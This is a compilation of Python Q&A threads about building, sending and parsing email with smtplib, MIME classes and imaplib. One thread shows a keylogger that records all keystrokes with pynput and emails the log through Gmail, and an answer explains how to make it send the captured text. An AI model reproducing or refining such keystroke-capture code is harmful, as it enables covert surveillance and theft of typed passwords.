I am new to Python. I am trying to make an email script that can send an email. First, I made a Python script without any classes, just function just to make sure that the script runs as expected. After I got the expected result. I am trying to rewrite the script using classes, so as to learn. But I am getting error, which I don't understand. I don't understand where actually the problem lies.
Below is the code as well as the screenshot of the error
import smtplib
import os
import sys
import mimetypes #for guess mime types of attachment
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
class Email(object):
message = None
subject = None
from_address = None
to_address = None
body = None
email_server = None
attachment = None
def __init__(self,from_address,to_address,subject,body,attachment,email_server):
self.message = MIMEMultipart()
self.message['subject'] = subject
self.message['From'] = from_address
self.message['TO'] = to_address
self.body = MIMEText(body, 'plain')
self.message.attach(body)
self.email_server = email_server
if attachment is not None:
self.attachment = attachment
self.attach_attachment()
def get_message(self):
return self.message
def send_message(self,auth):
username, password = auth.get_user_auth_details()
server = smtplib.SMTP(self.email_server)
server.starttls() #For Encryption
server.login(username, password)
server.send_message(self.message)
server.quit()
def attach_attachment(self):
self.messaege = self.attachment.set_attachment_type(self.message)
class Security(object):
username = ""
password = ""
def __init__(self,username, password):
self.username = username
self.password = password
def get_user_auth_details(self):
return self.username, self.password
class Attachment(object):
attachment_path = ''
def __init__(self,attachment_path):
self.attachment_path = attachment_path
def is_directory(self):
return os.path.isdir(self.attachment_path)
def is_file(self):
return os.path.isfile(self.attachment_path)
def guess_and_get_attachment_type(self, filenamepath):
ctype, encoding = mimetypes.guess_type(filenamepath)
if ctype is None or encoding is not None:
# No guess could be made, or the file is encoded (compressed), so
# use a generic bag-of-bits type.
ctype = "application/octet-stream"
maintype , subtype = ctype.split('/' , 1)
if maintype == 'text':
fp = open(filenamepath)
attachment = MIMEText(fp.read() , subtype)
fp.close()
elif maintype == 'image':
fp = open(filenamepath , 'rb')
attachment = MIMEImage(fp.read() , subtype)
fp.close()
elif maintype == 'audio':
fp = open(filenamepath , 'rb')
attachment = MIMEAudio(fp.read() , subtype)
fp.close()
else:
fp = open(filenamepath , 'rb')
attachment = MIMEBase(maintype , subtype)
attachment.set_payload(fp.read()) #Actual message
fp.close()
encoders.encode_base64(attachment) # Encode the payload using Base64
return attachment
def set_attachment_type(self,message):
if(self.is_directory()):
for filename in os.listdir(self.attachment_path):
filenamepath = os.path.join(self.attachment_path , filename)
attachment = self.guess_and_get_attachment_type(filenamepath)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = filenamepath)
message.attach(attachment)
elif(self.is_file()):
attachment = self.guess_and_get_attachment_type(self.attachment_path)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = self.attachment_path)
message.attach(attachment)
else:
print("Unable to open file or directory")
return message
def main():
#Constants
GMAIL_SERVER = "smtp.gmail.com:587"
FROM_ADDRESS = "xyz#gmail.com"
TO_ADDRESS = "xzy#gmail.com"
auth = Security("xyz#gmail.com" , "MySuperSecretPassword")
attachment = Attachment("/path/to/attachment/file/or/directory")
email = Email(FROM_ADDRESS ,TO_ADDRESS, "Hi from class Python" , "OOPs Python at Work!!" ,attachment,GMAIL_SERVER )
email.send_message(auth)
if __name__ == '__main__':
main()
I changed
self.message.attach(body) #In the class email constructor
to
self.message.attach(self.body) #In the class email constructor
and it worked.
I was attaching string type to message instead of MIMEText
Related
I have a script that will run periodically to send email invitations to all receivers to inform them about upcoming maintenance.
Here is the code example
import os
import uuid
import smtplib
import icalendar
import datetime
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email import encoders
import pytz
from jinja2 import FileSystemLoader, Environment
class EmailWriter:
SMTP = 'smtp.test.com'
def __init__(self, receivers, cluster_name, dtstart=None, dtend=None, available="", tasks=""):
self.sender = 'sender#test.com'
self.smtp = smtplib.SMTP(EmailWriter.SMTP)
self.receivers = receivers
self.cluster_name = cluster_name
self.dtstart = dtstart
self.dtend = dtend
self.available = available
self.tasks = tasks
def __get_email_subject_and_content(self):
path = os.path.join(os.getcwd(), 'email_templates')
loader = FileSystemLoader(path)
env = Environment(loader=loader)
template_minor = env.get_template('minor_maintenance_email.html')
template_major = env.get_template('major_maintenance_email.html')
if 'unavailability' in self.available.lower():
html_content = template_major.render(
availability=self.available,
maintenance_date=self.dtstart,
start_time=self.dtstart,
expected_end_time=self.dtend,
tasks=self.tasks
)
subject = '{} | Maintenance | {}'.format(self.cluster_name, self.available)
else:
html_content = template_minor.render()
subject = '{} | Maintenance | 100% Availability'.format(self.cluster_name)
print('subject : "{}", receivers : "{}", maintenance_date : "{}", start_time : "{}", expected_end_time : "{}", '
'"task : "{}"'.format(subject, self.receivers, self.dtstart, self.dtstart, self.dtend, self.tasks))
return subject, html_content
def __prepare_event(self, subject, content, start, end):
event = icalendar.Event()
organizer = icalendar.vCalAddress('MAILTO:' + self.sender)
event.add('organizer', organizer)
event.add('status', 'confirmed')
event.add('category', 'Event')
event.add('summary', subject)
event.add('description', content)
event.add('dtstart', start)
event.add('dtend', end)
event.add('dtstamp', datetime.datetime.now())
event['uid'] = uuid.uuid4()
# Set the busy status of the appointment to free
event.add('X-MICROSOFT-CDO-BUSYSTATUS', icalendar.vText('FREE'))
event.add('priority', 5)
event.add('sequence', 0)
event.add('created', datetime.datetime.now())
for participant in self.receivers:
attendee = icalendar.vCalAddress('MAILTO:' + participant)
attendee.params['ROLE'] = icalendar.vText('REQ-PARTICIPANT')
attendee.params['cn'] = icalendar.vText(' '.join(participant.split('#')[0].split('.')))
event.add('attendee', attendee, encode=0)
return event
def __prepare_alarm(self):
alarm = icalendar.Alarm()
alarm.add('action', 'DISPLAY')
alarm.add('description', 'Reminder')
# The only way to convince Outlook to do it correctly
alarm.add('TRIGGER;RELATED=START', '-PT{0}H'.format(1))
return alarm
def __prepare_icalendar(self):
# Build the event itself
cal = icalendar.Calendar()
cal.add('prodid', icalendar.vText('-//Calendar Application//'))
cal.add('version', icalendar.vInt(2.0))
cal.add('method', icalendar.vText('REQUEST'))
# creates one instance of the event
cal.add('X-MS-OLK-FORCEINSPECTOROPEN', icalendar.vBoolean(True))
return cal
def __prepare_email_message(self, subject, content):
# Build the email message
# msg = MIMEMultipart('alternative')
msg = MIMEMultipart('mixed')
msg['Subject'] = subject
msg['From'] = self.sender
msg['To'] = ';'.join(self.receivers)
msg['Content-class'] = 'urn:content-classes:calendarmessage'
msg.attach(MIMEText(content, 'html', 'utf-8'))
return msg
def __prepare_invite_blocker(self, cal):
filename = 'invite.ics'
part = MIMEBase('text', 'calendar', method='REQUEST', name=filename)
part.set_payload(cal.to_ical())
encoders.encode_base64(part)
part.add_header('Content-Description', filename)
part.add_header('Filename', filename)
part.add_header('Path', filename)
return part
def send_appointment(self):
subject, html_content = self.__get_email_subject_and_content()
start = datetime.datetime.combine(self.dtstart, datetime.time(0, 0, 0)).astimezone(pytz.UTC)
end = datetime.datetime.combine(self.dtend, datetime.time(0, 0, 0)).astimezone(pytz.UTC)
cal = self.__prepare_icalendar()
event = self.__prepare_event(subject, html_content, start, end)
alarm = self.__prepare_alarm()
# Add a reminder
event.add_component(alarm)
cal.add_component(event)
part = self.__prepare_invite_blocker(cal)
msg = self.__prepare_email_message(subject, html_content)
msg.attach(part)
# Send the email out
self.smtp.sendmail(msg["From"], [msg["To"]], msg.as_string())
self.smtp.quit()
print('Invitation sent out')
def main():
receivers = ['test1#test.com', 'test2#test.com', 'test3#test.com']
cluster_name = 'TEST NOW (test_now)' # test cluster name
email_writer = EmailWriter(
receivers,
cluster_name,
datetime.datetime.strptime('2023-02-16', '%Y-%m-%d').date(),
datetime.datetime.strptime('2023-02-16', '%Y-%m-%d').date() + datetime.timedelta(days=1),
'100% Availability',
tasks='Minor test'
)
print('Sending email')
email_writer.send_appointment()
if __name__ == '__main__':
main()
However, when I tested the code, I could see only the first recipient in the receivers list can get the outlook invitation.
How to fix the code to let all email account in the list can get the invitation?
Looking at some other examples, it looks like the msg['To'] object needs to be in a string format with a delimiter of ',' I believe you are using ';' try changing that in your code and see if that resolves the issue.
current_code: msg['To'] = ';'.join(self.receivers)
new_code: msg['To'] = ', '.join(self.receivers)
Thank you for your help!
Finally, I got a solution here.
First, as the above answer said, I need to use , as the delimiter.
msg['To'] = ', '.join(self.receivers)
Second, in the function of smtp.sendmail(), the receiver parameter type is a list, so here I directly give the function a list
self.smtp.sendmail(msg['From'], self.receivers, msg.as_string())
Source code of sendmail()
def sendmail(self, from_addr, to_addrs, msg, mail_options=(),
rcpt_options=()):
"""This command performs an entire mail transaction.
The arguments are:
- to_addrs : A list of addresses to send this mail to. A bare
string will be treated as a list with 1 address.
Example:
>>> import smtplib
>>> s=smtplib.SMTP("localhost")
>>> tolist=["one#one.org","two#two.org","three#three.org","four#four.org"]
>>> msg = '''\\
... From: Me#my.org
... Subject: testin'...
...
... This is a test '''
>>> s.sendmail("me#my.org",tolist,msg)
I am newbie in Python so my method to make the code work is by referring to other people's code and modify until it solves my problem.
I have tried to make a code to download the 'pdf' attachment from the email with particular name. I have made the code and it worked well in my windows laptop. But the problem is my laptop cannot run 24 hours so I was planning to move the code to Raspberry Pi 4 device.
I had to make some adjustments on the code to make it works in the Raspberry Pi, and eventually worked for sometimes. But then now, when I tried to run the code from the terminal in Raspberry Pi, it always shows an error: 'latin-1' codec can't encode characters in position 1011-1013: ordinal not in range(256)
What is going on here? Why does the exact same code work last week, but doesn't work today?
Below is my code:
import imaplib
import email
from email.header import decode_header
import os
import sys
import webbrowser
org_email = "#yahoo.com"
username = "test123" + org_email
password = "xxxxxxx"
smtp_server = "imap.gmail.com"
smtp_port = 993
def create(text): #clean text for creating a folder
if "CCI Daily" in text:
foldername = "CCI Daily"
elif "ICT" in text:
foldername = "Platts ICT"
elif "Argus Coal Daily International" in text:
foldername = "Argus"
elif "Fenwei Index Price Comparion" in text:
foldername = "Fenwei Index Price Comparisons"
else:
foldername = "Spam"
return foldername
#Create Connection
mail = imaplib.IMAP4_SSL(smtp_server)
mail.login(username,password)
#Which Gmail Folder to Select
mail.select("inbox")
type, data = mail.search(None,"ALL")
mail_ids = data[0]
id_list = mail_ids.split()
first_email_id = int(id_list[0])
last_email_id = int(id_list[-1])
print("\nThere are", last_email_id, "emails detected")
for i in range(first_email_id, last_email_id+1):
a = last_email_id + 1 - i #a = latest email index
print("\n%s th email:" %a)
res, msg = mail.fetch(str(a), "(RFC822)")
for response in msg:
if isinstance (response, tuple): #parse a bytes email into a message object
msg = email.message_from_bytes(response[1])
#decode the email subject
subject, encoding = decode_header(msg["Subject"])[0]
if isinstance (subject, bytes):
subject = subject.decode(encoding)
#decode the email sender
From, encoding = decode_header(msg.get("From"))[0]
if isinstance (From, bytes):
From = From.decode(encoding)
print("Subject: ", subject)
print("===============================================")
print("From: ", From)
#if the email message is multipart
if msg.is_multipart():
#iterate over email parts
for part in msg.walk():
content_type = part.get_content_type()
content_disposition = str(part.get("Content-Disposition"))
print(content_type)
if content_disposition != "None":
print(content_disposition)
try:
#get the email body and print the email body
body = part.get_payload(decode=True).decode()
except:
pass
if content_type == "text/plain" and "attachment" not in content_disposition:
#print text/plain emails and skip attachments
print(body)
elif "attachment" in content_disposition:
#download attachment
filename = part.get_filename()
if "ICT" in filename or "CCI" in filename:
folder_name = create(filename) #create specific folder for specific filename
print("Foldername:", folder_name)
if not os.path.isdir(folder_name):
#make a folder for this email
os.mkdir(folder_name)
filepath = os.path.join(folder_name,filename)
open(filepath, "wb").write(part.get_payload(decode=True))
exit()
else:
print("We do not download this attachment")
Since you actually have an encoding name, chances are you have malformed messages, that tough they specify the "latin1" encoding, they have characters that it can't handle. Pass the extra named argument errors="replace" in your calls to "decode": out of range chars will be replaced with a "�", but the app won't stop.
If it's Unicode text file, don't use open(filepath, "wb"), instead use open(filepath, "w", encoding="utf-8").You can also use try/except block depending on the situation:
try:
open(filepath, "wb").write(body)
except UnicodeEncodeError:
open(filepath, "w", encoding="utf-8").write(body)
I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **
I have a list of 15 .jpg images saved in one folder. I want all of them to be embedded in the body of an email. My first approach was to vertically stack them to one long image and embed the single image - but then the big picture seems to shrink in the generated email and it gets smaller, the more pictures I stack together.
I struggle to find a reproducible example where multiple images are embedded below each other in a mail such that each picture keeps the original size.
I found a good post here: http://dogdogfish.com/python-2/emailing-multiple-inline-images-in-python/ and 95% is taken from their example. Thanks to the bloggers!
I updated the imports to Python 3.x and adjusted the code such that all images in a specific folder will get embedded
from os import listdir
from os.path import isfile, join
import cgi
import uuid
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.header import Header
import os
import smtplib
from email.mime.base import MIMEBase
from email import encoders
import numpy as np
gmail_user = "my_email#gmail.com"
gmail_pwd = "pw"
final_path_current = "path/to/folder/with/images"
receive_mail = "friend_email#gmail.com"
def attach_image(img_dict):
with open(img_dict['path'], 'rb') as file:
msg_image = MIMEImage(file.read(), name=os.path.basename(img_dict['path']))
msg_image.add_header('Content-ID', '<{}>'.format(img_dict['cid']))
return msg_image
def attach_file(filename):
part = MIMEBase('application', 'octect-stream')
part.set_payload(open(filename, 'rb').read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename=%s' % os.path.basename(filename))
return part
def generate_email(gmail_user, to_list, img_dict):
msg = MIMEMultipart('related')
msg['Subject'] = Header(u'Subject', 'utf-8')
msg['From'] = gmail_user
msg['To'] = ','.join(to_list)
msg_alternative = MIMEMultipart('alternative')
msg_text = MIMEText(u'Image not working', 'plain', 'utf-8')
msg_alternative.attach(msg_text)
msg.attach(msg_alternative)
msg_html = u'<h1>Below are the images</h1>'
for img in img_dict:
msg_html += u'<h3>'+img["title"][:-4]+'</h3><div dir="ltr">''<img src="cid:{cid}" alt="{alt}"><br></div>'.format(
alt=cgi.escape(img['title'], quote=True), **img)
msg_html = MIMEText(msg_html, 'html', 'utf-8')
msg_alternative.attach(msg_html)
for img in img_dict:
msg.attach(attach_image(img))
return msg
def send_email(msg, gmail_user, gmail_pwd, to_list):
mailServer = smtplib.SMTP('smtp.gmail.com', 587)
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
mailServer.login(gmail_user, gmail_pwd)
mailServer.sendmail(gmail_user, to_list, msg.as_string())
mailServer.quit()
img_dict = []
all_files = [f for f in listdir(final_path_current) if isfile(join(final_path_current, f))]
for file in all_files:
img_dict_single = dict(title=file, path=final_path_current+"/"+file, cid=str(uuid.uuid4()))
img_dict.append(img_dict_single)
email_msg = generate_email(gmail_user, [receive_mail], img_dict=img_dict)
send_email(email_msg, gmail_user, gmail_pwd, [receive_mail])
When I use MIME and SMTPLIB instead of sending my attachment "random.jpg" it sends "noname.eml" which is unopenable and unseeable, I am unable to send attachments correctly for this reason. Why is this caused and how can I solve it?
I tried to change the extension from "png" to "jpg" but the issue pursues.
fromaddr1 = ""
toaddr1 = ""
accpass1 = ""
msg1 = MIMEMultipart()
msg1['From'] = fromaddr1
msg1['To'] = toaddr1
msg1['Subject'] = "YOUR COMPUTER HAS BEEN ACCESSED"
body1 = "Someone has gained access to your computer"
msg1.attach(MIMEText(body1, 'plain'))
filename1 = "random.jpg"
attachment1 = open("random.jpg","rb")
part1 = MIMEBase('application', 'octet-stream')
part1.set_payload((attachment1).read())
encoders.encode_base64(part1)
part1.add_header('Content-Disposition', "attachment1; filename1= %s" %
filename1)
msg1.attach(part1)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr1, accpass1)
text = msg1.as_string()
server.sendmail(fromaddr1, toaddr1, text)
server.quit()
in header:
from email.mime.application import MIMEApplication
instead attachment:
with open(PATH_TO_ZIP_FILE,'rb') as file: msg.attach(MIMEApplication(file.read(), Name='filename.zip'))